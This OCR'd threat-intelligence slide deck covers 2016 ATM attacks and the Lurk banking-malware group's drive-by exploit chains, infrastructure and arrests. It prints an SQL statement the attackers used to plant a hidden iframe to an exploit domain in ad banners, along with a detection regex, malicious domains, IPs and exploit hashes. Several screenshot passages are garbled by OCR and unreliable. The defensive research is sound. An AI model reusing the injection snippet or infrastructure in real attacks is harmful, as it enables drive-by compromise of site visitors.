How to steal money from
A'TM machines

become rich, NOT famous and NOT get caught :)
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Agenda

- 2016 - the year when attacks on banking infrastructure
gained a lot of publicity

- Attack vectors 1in banking infrastructure
- evolution of bank targeting criminal activities
- How 1t all started: the Historical overview of Lurk

- So many buzzwords; Lurk, Carbanak, Anarak, Buhtrap,
Cobalt --- ;)



Fyodor Yarochkin - 8 years of Vladimir Kropotov - several years
banking penetration testing at major companies 1n Russia as
experience network security analyst
a bit of threat intel experience threat expert



Incidents of Interest
n 2016

- Swift breaches

- ATM attacks



A'TM breach japan

- Cards using data dumps

Japan ATM scam using fraudulent cards
nets $12.7m

® 23 May 2016 Asia «$ Share




A'TM breach Taiwan

- Very well known.. skip :)




less known
cases



A'TM breaches 1n Kyrgyzstan

Moldovan citizen born in 1975, was detained in Kyrgyzstan after |
hacked into the ATM and stole from him a large sum of money.

CHISINAU, October 4 -. Sputnik Moldovan citizen, was detained in Kyrgyz city
on suspicion of burglary and theft of the ATM out of money, according to Sput
Kyrgyzstan .

The man was caught red-handed. He
tried to hide after a burglary. The
suspect seized a bag with 405
thousand soms (about six thousand
dollars).

It is reported that the man - born in
1975. During a search of his hotel
room where he lived, police found a
wig, glasses, cell phone and sim card,
chargers and chips.
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A'TM breaches 1n Tajkistan




Possible attack vectors

Date File name Source Country

2016-10-27 08:16:36 AOKYMEHTEI (HA NOONMCE)_KOHTaKTk.dot 1fch373f (web) RU

BitDefender Trojan.GenerickD.3641090
CAT-QuickHeal Exp.OLE.Drop.Gen

ClamAy Doc.Dropper.Agent-1803250
Cyren W32/Trojan.MTDK-1644
Drweb Trojan.Encoder.6630
ESET-MOD32 a variant of Win32/Injector.DGTM
Emsisoft Trojan.GenericKD.3641030 (B)
F-Secure Trojan.GenerickKD. 3641080
Fortinet Wa32/Fareit. BNP!tr

GData Trojan.GenericKD. 3641080
Ikarus Exploit. OLE-JS



Attack vectors 1n Banking
Infrastructure



Traditional: bank customers

- Online banking. Well developed, targeted by a number of
malware families. Getting very advanced (bypassing one
time passwords)

+ Cards (credit/debit). Skimmers. Been around for a while



Should not forget the principle of




[ssues with Bank networks

“Shell” structure: hard outside, soft inside
- Often poor segmentation within internal network
.- Complexity of legacy applications

- Complexity of relationships with 3rd party business
partners, maintenance and support (TeamViewer 1nto a
backend system, anyone? ;))



Why only now.."

- Banking networks: step learning curve for an attacker.
(observation; 1in a breach of a bank in Singapore 1n 2001, had
password collecting software installed on online banking
web server

- Attackers were only THAT smart



and then we had this..

(secHa 2015 2. k secHe 2014 2.)
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How 1t started---
early days of Lurk



1ck 1ntro
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Where did the data come from?

What did we see?
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Lurk timeline in "nutshell”

» The Lurk - early observations in 2011, 2012

- The Lurk - becoming extremely active, attacking .RU segment of Internet

- The Lurk - upgrading infrastructure

- A blog post about “fileless” appears securelist.com

- Lurk - going global

- Lurk 1s given attention by Kaffeine (of malwaredontneedcoffee famous blog)
- Lurk 1s given attention by CISCO TALOS security team

- Microsoft discussed flash zero day exploited by the Lurk (https://blogs.technet.microsoft.com/mmpc/2014/02/10/a-
journey-to-cve-2013-5330-exploit/)

- The securelist.com publishes multiple public reports(s) about Lurk activity

- BOOM ka-BOOM! - the Lurk group 1s being busted (50 people arrested)

- The securelist.com publishes “post-mortem” report



the First observation of Lurk

Date/Time 2011-10-31 13:54:43 MSEK
Alert Name ActiveX Warning
Severity Low
Observance Type

Intrusicn Detection
Combined Event Count 1
: code 200
:proteoceol http
rServer owpvgxvbis.com
: URL /BVRQ




Other Basic definitions

- What 1s drive-by (anyone?)

- Whatis ‘landing’

- exploit vs payload

. Understanding intermediate victims and  “watering hole’
attacks
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Bodiless or fileless

Lurk was the first cnmmal web exploitation ,‘

Multi-staged payload delivery: | LI
Lurk used initial non-persistent payload{which probed the target of AR
Interest betore making decision 1f any additional payload needs to be

served.




Distinct network footprint of Lurk

stage url mime
landing  http:/zaurona.eu/[GLMF (Exﬂhtml N
exploit  http:/zaurona.eu/0GLMFss|application/3dr

payload http:#/zaurona.eu/IGLMFgs|application/octet-st
ream

—




Victims in February 15 2012

B:ET 200 HTTP local.mb.rian.ru Request Headers [Raw] [Headd
lﬂEEE: 200 HTTP local.mb.rian.ru GET /0GLMF== HTTPA 1

M)zse 200 HTIP local.mb.rian.ru Client

“$2¢0 200 HTTP vid-1.rian.ru  figfcssfinosmil.css Accept: textfhtml, image/aif, imagefipeg, *; a=.2, */*; a=
EI 261 200 HTTP local.mb.rian.ra  Jogi-binfbanner /4622751 3628ogin=ino_free.shesternik_ino_in... accept-encoding: packz00-gzip, gzip

Elzsz 200 HTTP local.mb.rian.ru  fogi-binfbanner (4625751 3628login=ino_free, shesternik_ino_in... User-agent: Mozillaj4,0 (Windows XP 5.1) Javafl.6.0_27
Elzéez zo0  HTTP local.mb.rian.ru  fogi-binfbanner (4489751 36 28login=ino_free. shesternik_ino_in... Entity

Elz64 200 HrTP local.mb.rian.ru  jcgi-binfbanner [46037513628Jogin=ino_free.shesternik_ino_in... content-type: applicationfx-java-archive

local.mb.rian.ru  Jegi-binfbanner (4607751 36 28ogin=ina_free. shesternik_ina_in... Transport

local.mb.rian.ru  fogi-binfbanner f46147513628ogin=ino_free.shesternik_ino_in... Host: bopewaf.eu
L Procey-Connection: keep-alive

wid-1.ran.r ] QICSS NS _ M. F i
Transformer I Headers | Texkiew
HexWiew | WebView | Atk Caching
JSON | XML |

Elzes 200 HTTP

Elzee 200 HTTP

w267 200 HTTP

@ 268 200 HTTP search.twitter.com Jsearch.json?g=%%40inosmidcalback=TWTR . Widget.receiveCal...
bopewaf.eu JOGLMFss

al.twimg.com Jprofile_images/1350f

SyntaxView Irnan
Coockies R

@0 200 HITP

Mz71 200 HTIP

o_s_niormal. jpg

a0.twimg.com  fprofile_im
bopewaf.eu fcom.class
search.twitter.com [search.json?q=%%40inosmigcallback=TWTR.Widget.receiveCal...

bopewaf.eu Jedu.class

0_s_normal, jpg

Response Headers
HTTP/.1 200 QK

273 200 HTTP [Raw] [Heade

bopewaf.eu

fnet.dass

Cache

bopewaf.eu Jorg.class Cache-Contral: no-cache, must-revalidate, max-age=1
HTTP a3.twimg.com Jprofile_images/1380335574 /big-pandal1-428x620_normal.jpg Date: Wed, 15 Feb 2012 11:25:51 GMT
HTTP a3.twimg.com fprofile_ Jal1-428x620_normal.jpg Expires: Sat, 26 Jul 1997 05:00:00 GMT
HTTP al.twimg.com Jprofile_ 8.07m_normal.ipg Pragma: no-cache
HTTP al.twimg.com Jprofile 3-28.07m_normal. jpg Entity
HTTP a0.twima.com  forofie 1713 normal. PG Content-Length: 10844
HTTF al.bw r'u_:J. com  fprofile _ 30es, t2o% 3 F13 _r ormal. JPG Content-Type: applicatmnﬁdr
_ . e TAnS iR e e fdd Last-Modified: Sat, 26 Jul 2040 05:00:00 GMT
HTTP a3.twimg.com  Jpr -!.,”» sgesf1250478402/P1C_03-01- l__.-+-1-'-."'_l‘|'r'||-1|.'|[|'_| Miscellaneous
HTTP a3.twimg.com fprofile_images/1250478402/P1C_03-01-01_14-19-24_normal.ipg Server: nginx0,7,65
HTTP search.twitter.com fsearch.json?q=%40inosmikcalback=TWTR . Widget.receiveCal.., %-Powered-By: PHP(S.3.2-1ubuntud. 10
HTTP search.bwitter.com  fsearch.json?q=%40inosmidcalback=TWTR . Widget.receiveCal. ., Transpork
HTTP a2 twimg.com fprofie_images/1441364374/___ -201107-2_normal, JPG Proxy-Connection: keep-alive
|"ﬂ.'-‘<' HTTP aZ2.twima.com forofile imaoesll441364374) 201107-2 normal. JPG



A magic pattern :-)

- This URL signature proved itself to be very eftective for
Lurk URL detection at its early stages

- ~[A-Z0-9]{4}5S

THIS

Né]®
ROCKET

SCIENCE
PEOPLE!




The patterr ~t ol

Surprisingly the pattern worked v

date  url stage mime

02-2012 GLMF  landing text/html

02-2012 OGLMFss exploit application/3dr

02-2012 1GLMFss payload application/octet-stream
03-2012 HK7T landing text/html

03-2012 OHK7Tss exploit application/3dr

03-2012 THK7Tss payload application/octet-stream
05-2012 RK85 landing text/html

05-2012 ORK85ss exploit application/3dr

05-2012 1RK85ss payload application/octet-stream
08-2012 2T4T landing text/html

08-2012 02T4Tdq exploit application/Java-archive
08-201212T4Tjq payload application/octet-stream
09-20127GIC landing text/html
09-201217GICjg payload application/octet-stream
09-2012 07GICjq exploit application/Java-archive
12-2012 1S0Q landing text/html

01-2013 1ISOQjg payload application/octet-stream
01-2013 01SOQjg exploit application/Java-archive
02-2013 0XZAHw;j exploit application/Java-archive
02-2013 XZAH  landing text/html

02-2013 1IXZAHwj payload application/octet-stream
03-2013 80F5 landing text/html

03-2013 180F5wj payload application/octet-stream
03-2013 080F5wj exploit application/Java-archive

Patterns and Mime types of Lurk Exploit chain



Lurk exploitation chain May 2012

hortezam.info/RK85

glavbukh.ru,
IP:64.20.35.194

tks.ru, etc.

Diagnostic page 56k

hortezam.info/ORK85co

Exploit 13k IP:64.20.35.194
EEEOT < Payload 106k
s T -~ hortezam.info/1RK85ss
g TP i IP:64.20.35.194
—— e
- e
HTTP POST Bl
mobility65Sw.com A e
IP:37.58.73.171 No timeout




Lurk target fingerprinting

Lurk only served additional stages
of multi-staged malware, 1f 1nitial
analysis of compromised target
confirmed 1t to be a target of
Interest.

Date/Time 2012-05-04 11:39:58 MSK
Tag Name HTTP_Post_Field
Severlity Low

Target IP Address 37.58.73.171
Target Object Name &0

Target Object Type Target Port

rarg hl=us&source=hp&g=-
1785331712&8ag=f&agl=&agl=&og=
:field Adobe Flash Player 11

ActiveX|l.Conexant 20585
SmarthAudio HD|3.ThinkPad Modem
Adapter|7.Security Update for
Windows XP (KBZ2072403) |1.Security
Update for Windows XP (KBZ115168)
|1.5ecurity Update for Windows XP
(KB2229593) |1.S5ecurity Update for
Windows

:server mcbilityée5w.com

: URL /search

rvalue <empty>



“bodiless” artifacts

¥ | | doronina_yn

¥ | | Application Data

¥ BN Sun

¥ | Java

¥ | | Deployment

k

F T S S LT F e o |

cache
6.0

¥ B 35

@ 6307d423-753a1664.idx
¥ BN 52

2b4bacfd-35111bae
|TE| 2bdbacfd-3511 1bae.idx



Lurk exploitation chain
September 2012

tomatoesdaunting.net/7GIC
IP:184.22.165.170

newsru.com

- tomatoesdaunting.net/07GICdq
IP:184.22.165.170
Not Bot java-archive
~NT tomatoesdaunting.net/07GICjq
i octet-stream IP:184.22.165.170
\'l
™
~, socialisminsight.org/17GICjq
zigging62z.com \,’\ IP:184.22.165.170
IP:64.79.71.45 Tp— GET"‘
gratuity31lt.com J” ' 80T
IP:64.79.71.44 No timeout




Lurk exploitation chain September
2012 two days later

stageref ip method url mime Iin out
infect http://n184.22.165.170 GET http:/cdmalinkrating.net/7GIC text/html |58066.0603.0
ewsru.c
om/
infect http://c184.22.165.170 GET  http:/cdmalinkrating.net/07GICdq text/html |5967.0 354.0
dmalink
rating.n
et/7GIC
infect - 184.22.165.170 GET http:/cdmalinkrating.net/07GICjq applicatiof20329.0670.0
mlme type Sequen infect - 184.22.165.170 GET http:/socialisminsight.org/17GICjq

as another pattern

" application/octet-

text/ht text/ht " application/java- ﬂ
ml ~ml _archive _Stream




Targets and intermediate victims

2012 2013 2014 2012 2013 2014
3dnews.ru 3dnews.ru 3dnews.ru 9 newsru.ru mn.ru news.mail.ru
adriver.ru adriver.ru adfox.ru 10 rian.ru newsru.com ria.ru
. 11 slon.ru rg.ru riarealty.ru
akdi.ru adv.vz.ru auto.ru g y
12 target-m.ru servernews.ru rnk.ru
bg.ru aif.ru avtovzglyad.ru
13 tks.ru slon.ru rusplt.ru
com.adv.vz.ru akdi.ru drive.ru
14 torrogrill.ru tks.ru smotri.com
fobos.tv gazeta.ru glavbukh.ru
15 tvrain.ru topnews.ru sport.mail.ru
gazeta.ru glavbukh.ru inosmi.ru 16 ik-ek wrai ”
uik-ek.ru vrain.ru s.ru
fian.ru infox.ru irr.ru 17 ura.ru vesti.ru utro.ua
newsru.com klerk.ru nalogoved.ru 18 vesti.ru womanhit.ru




[ urk Infrastructure
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Exploit kit infrastructure
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god: NTC 5 NTC
AR’?&E&&EE?@ o —AL(LJC('ESE%'? I’ - Net Access Corporation

NL LeaseWeb BV,

AS31103: KEYW{l

AS32007: WILKC - [81: LEASEWE

oleSale Internpt, Inc.

pclim Khomenko Oleksandrovich HASEWEB-DELcaseweh Germany GmbH

AS4AT145: SEVENUP-NET PE

ASZNATI: ASCHO@N A - Choopa, LLC

<

AS32613: IWEB-AS ologies, [ne. 6 E

n.‘

A |

AS10207: ENR A\ I ASGLIRG@M - CDM

W PIN-AS Petersfllie Internet Network LLC

~N

AS10316: CONERO-AS - Codero

AS16276: OVEROVH Systems

AS53612: CARAT-NETW@RES™ Carat Netw

AS15003: NOBIS-TECH - {]111{:]{:g_r Group:LLC pdpG: INTERNETE®BAS InterNetX GmbH

AS3505; GNAXNET-AS ']{:I}tﬂ &ﬂ[ﬁi&m&%&;}\[FR pft Layer Technologies Inc.
nknown N1,




Infrastructure: domains

STOP OFFSHORIG
JoBs To

FoREILF Rova1s

domain created

XEZARETA.INFO 24-Apr-201210:14:33
HORTEZAM.INFO 24-Apr-2012 10:14:30

[ FRETYPOLA.INFO 24-Apr-2012 10:14:28




Addperiod abuse(?)

Domain ID:D46208878-LRMS

Domain Mame:XEZARETA.INFO

Created On:24-Apr-2012 18:14:33 UTC

Last Updated On:24-Apr-20812 18:14:34 UTC

Expiration Date:24-Apr-2013 18:14:33 UTC

Sponsoring Registrar:DomainContext Inc. (R524-LRMS)
Status:CLIENT TRANSFER PROHIBITED

Status:JRANSFER PROHIBITED

Status [ADDPERIOD
Registrant ID:PP-5P-881

Registrant Name:Domain Admin

Registrant Organization:PrivacyProtect.org
Registrant Streetl:ID#108768, PO Box 16

Registrant Street2:Note - ALL Postal Mails Rejected, visit Privacyprotect.org

Status Code

What does it mean?

addPeriod

This grace period Is provided after the
initial registration of a domain name. |f
the registrar deletes the domain name
during this period, the registry may
provide credit to the registrar for the
cost of the registration.




Reistration vs. active use of Lurk

domains

18 historical records found Record Date: 2014-07-08
2014 Py Registrar:
Server: whois.afilias.net
» 2014-07-08 o changes Created:
2014-06-22 @ changes Updated:
Expires:
2014-06-06 < changes Reverse Whais:
2014-04-25 @ changes
20/08/1 | http://www.tks.r | 70.32.39.1 | 80. | http://xezareta.info/inde | text/html | 200 607 24959 | Mozilla
311:33 | U/ 08 0 xm.htmi 4.0
20/08/1 70.32.39.1 | 80. | http://xezareta.info/054 | applicati | 200 293 23784 | Mozilla
311:33 08 0 Riw; on/3dr 14.0
20/08/1 70.32.39.1 | 80. | http://xezareta.info/154 | applicati | 200 185 14375 | Java/l
311:33 08 0 Riw; on/octet 3 6.0 3
-stream 1

2012-07-07 ob

2012-04-25

&

Registrant City:Nobby Beach
Registrant State/Province:Queensland
Registrant Postal Code:QLD 4218
Registrant Country:Al

Registrant Phone:+45.36946676




Exploit serving domains

Courtesy of
domaintools.com

Reverse Whois

Find any domain(s) with a Whois record that matches these criteria: How does this work?

Email Address - Exactly Matching

Expand Your Search

Marrow Your Search

Download Report

Domain Name
3875jncioeprk.us
adegjphOjy.us
aakmbmwpkxypbyw.com
aamjjsqgacbzoglx9.com
aaoggkmnbx7%.com

abgzlbomegzsysjat.com

Create Date

2015-03-31

2015-07-25

2016-02-24

2015-08-24

2015-10-14

2016-01-30

7 [ yingw?0@yahoo.com ]

dbmains

[1416

]

Search

Displaying results: 1 - 50 of 1,414 Prev MNext

Registrar

PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
PDR LTD. D/B/A PUBLICDOMAINREGISTRY.COM
GET CHEAPEST DOMAINS, INC

GET CHEAPEST DOMAINS, INC

GET CHEAPEST DOMAINS, INC

GET CHEAPEST DOMAINS, INC



(2 patterns and infrastructure

Lurk C2 Infrastructure by ASN 2012-2014

AST6276: OV H Svstems

2t 1841 T i 216
79 1 171 il (<
0l 1%%.1{*;{;. 4 Sl 14 AS10297: ENI@? - eNET Inc. |
0.2 15
9] 50,980 14 4, T

LOFTLAYER 4@ Laver Technologies Inc,




Lurk C2 calls

Met Mime |Bytes |Bytes
Date IP Port | hod URL type | out | in
http://rime4lclaim.com/s&arch?hI:us&source:hp&q
2-Nov-2012| 184.173.226.246 80[POST [=22282240&aq=f&aqi=&aql=&oq= text/plain 3041 256
http://landlady48s.com/search?hl=us&source=hp&q
2-Nov-2012| 184.173.226.245 80|GET [=58959&aq=f&aqgi=&aql=&00q=58959 text/html 831| 336115
http://rime41claim.com/search?hl=us&source=hpé&q
2-Nov-2012| 184.173.226.246 80[POST [=1000000000503347&aqg=f&aqgi=&aqgl=&o0q= text/htm| 241 252




(C2 domains used a unique

registration email

Unique Records

&> private
10 historical records found
2013 8 total
> 2013-10-31 | changes
2013-10-28 | changes |
laval.schockl953@hotmail.com—> landlady48s. ,,.5400 changes |
\ \ _ 2013-10-23 | changes |
twoee.barnardl951(@hotmail.com —-> gratuity3:
2013-08-21 mare | changes |
2013-04-21 | changes |
2013-02-07 less | changes
avery.wilkensl1980@hotmail.com -> rimedlclai 2012 2 total

2012-11-15

2012-10-27

record fdentical te 2013-02-07

— g— e 'y —— ——


mailto:laval.schock1953@hotmail.com
mailto:twoee.barnard1951@hotmail.com
mailto:avery.wilkens1980@hotmail.com

Lurk Exploitation Tactics



Mam Attack Vectors

- Drive-by THR@UGH dHect c@mpr@mlse
- Drive-by THRC)UGH programmatic adverUsmg platforms (ad
networks) compromise

. Seftware distribution package tampering




Intermediate victim, site 1

-memcached Cache poisoning

Observed: continuous flood of connection requests to TCP 11211
(default memcached port)

Cached pages were updated with  ‘iframed”  versions of these
pages on the fly



Intermediate victim, site 2

Machine was compromised via an ssh vulnerability

Apache web server had additional module 1nstalled:
mod_proxy_mysgl.so (didn” t link any mysql libraries)

This 15 possibly a modified version of
http://pastebin.com/raw/6wW Vsstj as reported by succuri
(https://blog.sucuri.net/2013/01/server-side-1frame-injections-
via-apache-modules-and-sshd-backdoor.html)



http://pastebin.com/raw/6wWVsstj

Intermediate victim, site #3

OpenX compromise
- webshell 1nstalled
- The Lurk eroup periodically modified banners table with

update banners  set htmltemplate=concat(htmltemplate, '<script>document.write(\'<div
style="position:absolute;left:1000px;top:-1280px;">

<iframe
src="http://couldvestuck.org/XZAH"></iframe></div>\');
</script>") where storagetype="html’

This causes the OpenX script ‘/'www/delivery/ajs.php’ to
oroduce the HTML code with this iframe snippet appearing at
the page.




Distribution timings

General technique:
- Serve exploit payload only when a potential victim 1s likely
to visit watering hole website.
- Return redirect to google.com otherwise



[urk - active hours
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Lurk distribution by day o f week

Exploitation hits by day of week

AW L

day of week (1 - Monday)



Lurk Exploits and Payloads



Lurk’s favourite: JAVA
CVE-2011-3544

Use of Flash payload for
target fingerprinting

Using flash CVE-2013-
5330 exploit

Lurk exploits

Exploit payload mime types

1 application,/3dr
[ application,java-archive
I application/x-shockwave-flash

application dr

application java-archive

connt

application seshockwave-flash



Lurk Ist stage payload over time
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Lurk requests (failed vs serving)

— . Lurk observed Good vs Bad requests

= . oo
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Lurk detectability by AV vendors

S total
SHAZEE: T3B2ef1838 eficeBichc0ofTB0 e a2 003 30008 e 2401170 21560110787 70220
File name: 204 b

Ad.the, imeof Campaign

Andlysis date 2012-02-27 112202 UTC (1 feHe, 18 vacor ago )




Lurk detectability by AV vendors

Now

[ File information

) [dentification

< 2 v | 4+

2013-10-15 15:00:12
2012-10-08 17:51:02
2012-08-06 04:45:34
2012-04-23 14:02:1
2012-03-02 06:39:45
2012-02-29 05:51:27

2012-02-27 11:22:02

= Content

17/47
15/43
14/41
12/42
6/43
3/43

0/43

U Analyses

Panda

PCTools

Rising

Sophos
SUPERAnNtiSpyware
Symantec
TheHacker
TotalDefense
TrendMicro
TrendMicro-HouseCall
VBA32

VIPRE

& Submissions

Trojan.Gen

Mal/JavaGen-E

Trojan.Gen.2

JAVA_EXPLOIT.GL

JAVA_EXPLOIT.GL

@ TW @, Additional

& Comments

10.0.3.5
8.0.02
24.84.00.04
4.93.0
5.6.0.1032
20131.1.5.61
6.8.0.5.347
37.0.10498
§.740.0.1012
8.700.0.1001
3.12.24.3

22412

20131015
20131002
20131015
20131015
20131015
20131015
20131015
20131011
20131015
20131015
20131015

20131015



Some payloads for reference

hash type Description based on verdicts
7382ef1638e6ce8fc5c0cf766cea2e93ae9e8eadef891f79a1589f1978779aal java jar CVE-2011-3544 exploit
73eda8a8c2511e8cf7261da36be78064c16094e3e83ebdeb76e7ee7803a32f69 java jar CVE-2011-3544 exploit

d947elad59d4dfeaa6872a6bda701e67d40a265f711f74984aa286a59daf1373 Flash CVE-2013-5330




Lurk and Angler - 201 2015 2016



similarities between lurk and and
angler

indexm.htm pattern
use of bodiless/fileless payload
shared infrastructure



Discussed by Katfeine

Angler EK : now capable of "fileless" infection (memory malware)

Matrix - Agent Jackson avoiding bullets

Few days ago | spotted a new pattern in some Angler EK threads :

200 HTTP  178.32.21.227 aitizedthinque. mnselect.info: 37702  /x4dmibzovg.php 97208 text/himl f9698523f1b8c272d6 76 38acc83e
200 HTTP  178.32.21.227 aritizedthinque . mnselect.info:37702  /x4dmibzovg.php/count?b=1 0 text/html No body
200 HTTP 178.32.21.227 critizedthinque.mnselect.info:37702 /4fypyf3IXGavOHIn00dh7)Trco)3Swz4QHUB2jpld... 389 660 application/octet-stream  46033713310a790a060770¢

http://malware.dontneedcoffee.com/2014/08/angler-ek-now-capable-of-fileless.html
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Discussed by Katfeine

XXX is Angler EK

Snipshot of MonterAV Affiliate

As | got many questions about an EK named XXX (that is said to be better than Angler ;) ) | decided to share some data here.

http://malware.dontneedcoffee.com/2015/12/xxx-is-angler-ek.html
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Talos Team analysis in 2016

THURSDAY, JULY 7, 2016

in Russia linked to Lurk banking trojan

This Post Authored by Nick Biasini

=8

john.bruggink@yahoo.co.uk
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Lurb;Baning Angler Back-end
e Payloads

& i

Angler Redirection Necurs C2
e activity largely disappears
E Dridex

Common Web Page

http://blog.talosintel.com/2016/07/lurk-crimeware-connections.htmi
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The eroup s operational security
(OPSEC)

We can learn from the video about the group’ s operational
security practices:

» Disposable phones

- Phone jammers

- long-distance wif1 dongles




Lurk Arrests (May 2016)



http://youtube.com/v/-tyPYk4WGyM

Lurk, Carbanak, Anunak, Coballt,
Buhtrap, Odinatt

-+ S0 many buzzwords, Any relationship?
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Questions



